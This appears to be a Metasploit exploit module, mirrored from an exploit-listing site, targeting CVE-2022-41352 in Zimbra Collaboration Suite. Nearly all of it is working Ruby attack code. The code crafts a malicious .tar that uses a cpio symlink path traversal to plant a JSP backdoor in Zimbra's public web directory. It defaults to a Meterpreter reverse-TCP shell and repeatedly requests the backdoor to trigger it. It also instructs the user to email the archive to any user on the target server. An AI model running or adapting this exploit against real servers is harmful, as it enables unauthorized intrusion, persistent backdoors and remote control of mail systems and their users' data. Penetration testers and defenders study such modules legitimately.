Share
## https://sploitus.com/exploit?id=PACKETSTORM:169458
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'TAR Path Traversal in Zimbra (CVE-2022-41352)',  
'Description' => %q{  
This module creates a .tar file that can be emailed to a Zimbra server  
to exploit CVE-2022-41352. If successful, it plants a JSP-based  
backdoor in the public web directory, then executes that backdoor.  
  
The core vulnerability is a path-traversal issue in the cpio command-  
line utlity that can extract an arbitrary file to an arbitrary  
location on a Linux system (CVE-2015-1197). Most Linux distros have  
chosen not to fix it.  
  
This issue is exploitable on Red Hat-based systems (and other hosts  
without pax installed) running versions:  
  
* Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier)  
* Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier)  
  
The patch simply makes "pax" a pre-requisite.  
},  
'Author' => [  
'Alexander Cherepanov', # PoC (in 2015)  
'yeak', # Initial report  
'Ron Bowes', # Analysis, PoC, and module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-41352'],  
['URL', 'https://forums.zimbra.org/viewtopic.php?t=71153&p=306532'],  
['URL', 'https://blog.zimbra.com/2022/09/security-update-make-sure-to-install-pax-spax/'],  
['URL', 'https://www.openwall.com/lists/oss-security/2015/01/18/7'],  
['URL', 'https://lists.gnu.org/archive/html/bug-cpio/2015-01/msg00000.html'],  
['URL', 'https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis'],  
['URL', 'https://attackerkb.com/topics/FdLYrGfAeg/cve-2015-1197/rapid7-analysis'],  
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P27'],  
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P34'],  
],  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
[ 'Zimbra Collaboration Suite', {} ]  
],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'TARGET_PATH' => '/opt/zimbra/jetty_base/webapps/zimbra/',  
'TARGET_FILENAME' => nil,  
'DisablePayloadHandler' => false,  
'RPORT' => 443,  
'SSL' => true  
},  
'Stance' => Msf::Exploit::Stance::Passive,  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => '2022-06-28',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'payload.tar']),  
  
# Separating the path, filename, and extension allows us to randomize the filename  
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (an absolute path - eg, /opt/zimbra/...).']),  
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: public/<random>.jsp).']),  
]  
)  
  
register_advanced_options(  
[  
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (default: random)']),  
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),  
  
# Took this from multi/handler  
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),  
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])  
]  
)  
end  
  
def exploit  
print_status('Encoding the payload as .jsp')  
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)  
  
# Small sanity-check  
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')  
print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')  
end  
  
# Generate a filename if needed  
target_filename = datastore['TARGET_FILENAME'] || "public/#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp"  
symlink_filename = datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..10)  
  
# Sanity check - the file shouldn't exist, but we should be able to do requests to the server  
if datastore['TRIGGER_PAYLOAD']  
print_status('Checking the HTTP connection to the target')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_filename)  
)  
  
unless res  
fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')  
end  
  
# Break when the file successfully appears  
unless res.code == 404  
fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")  
end  
end  
  
# Create the file  
begin  
contents = StringIO.new  
Rex::Tar::Writer.new(contents) do |t|  
print_status("Adding symlink to path to .tar file: #{datastore['TARGET_PATH']}")  
t.add_symlink(symlink_filename, datastore['TARGET_PATH'], 0o755)  
  
print_status("Adding target file to the archive: #{target_filename}")  
  
t.add_file(File.join(symlink_filename, target_filename), 0o644) do |f|  
f.write(payload)  
end  
end  
contents.seek(0)  
tar = contents.read  
contents.close  
rescue StandardError => e  
fail_with(Failure::BadConfig, "Failed to encode .tar file: #{e}")  
end  
file_create(tar)  
  
print_good('File created! Email the file above to any user on the target Zimbra server')  
  
# Bail if they don't want the payload triggered  
return unless datastore['TRIGGER_PAYLOAD']  
  
register_file_for_cleanup(File.join(datastore['TARGET_PATH'], target_filename))  
  
interval = datastore['CheckInterval'].to_i  
print_status("Trying to trigger the backdoor @ #{target_filename} every #{interval}s [backgrounding]...")  
  
# This loop is mostly from `multi/handler`  
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i  
timeout = datastore['ListenerTimeout'].to_i  
loop do  
break if session_created?  
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_filename)  
)  
  
unless res  
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')  
end  
  
# Break when the file successfully appears  
if res.code == 200  
print_good('Successfully triggered the payload')  
# This should break when we get to session_created?  
end  
  
Rex::ThreadSafe.sleep(interval)  
end  
end  
end